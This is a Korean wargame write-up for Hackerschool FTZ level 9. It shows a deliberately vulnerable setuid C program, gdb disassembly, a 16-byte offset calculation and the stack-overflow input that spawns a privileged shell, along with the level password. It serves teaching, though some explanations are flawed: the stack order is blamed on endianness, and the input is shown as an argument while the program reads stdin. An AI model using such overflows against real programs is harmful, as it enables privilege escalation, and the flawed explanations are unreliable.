0. 들어가기 전에
레벨 9 이후부터는 본격적으로 해킹 공격 기법에 관한 문제들이 나온다!
1. level 9
드디어 첫(!) BOF…라고하기엔 너무 간단하지만, BOF문제다! cat hint를 실행하면 실행파일 소스 코드가 나온다. 일단 코드를 살펴보자.
또한 이 파일은 Level 10의 권한을 가지고 있다.
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
buf2[10]과 buf[10]이라는 배열이 있는데, buf배열을 밑에 fgets함수에서 40개를 받는다. 즉 오버플로우가 가능하단 소리다. buf2배열의 첫 두문자가 “go”인 경우에 password를 준다고 하니, 정확히 buf2와 buf 배열의 거리가 얼마나 되나를 살펴봐야한다.
실행권한은 없으니 복사해서 test.c를 만든다음 실행파일로 만들어서 한번 gdb로 디버깅해보자. gdb는 리눅스의 어셈블리 디버거로, 활용하기 위해서 약간의 공부는 필요할 수 있다.
일단 set disassembly-flavor intel을 콘솔창에 입력하자.
disassemble (함수이름)을 하면 저 main함수가 시작될 때의 전체적인 어셈블리 코드를 확인해 볼 수 있다.
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x8048569
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
대충 보면, lea가 배열 생성과 관련되어있다는걸 알 수있다. Linux 같은경우는 little Endian을 사용하므로, 거꾸로 올라간다. 따라서 밑에 있는게 buf배열 위에 있는게 buf2배열이라고 유추할 수 있다.
둘의 차는 40- 24이므로 둘의 거리는 16이 된다. (원래는 10이어야하지만, 더미데이터 등의 이유로 6바이트가 추가된듯 하다.)
quit로종료하고, 16개의 문자열 + go를 입력한다.
./attackme AAAAAAAAAAAAAAAAgo
비밀번호 : interesting to hack!
Source
- 해커스쿨 FTZ
- Me!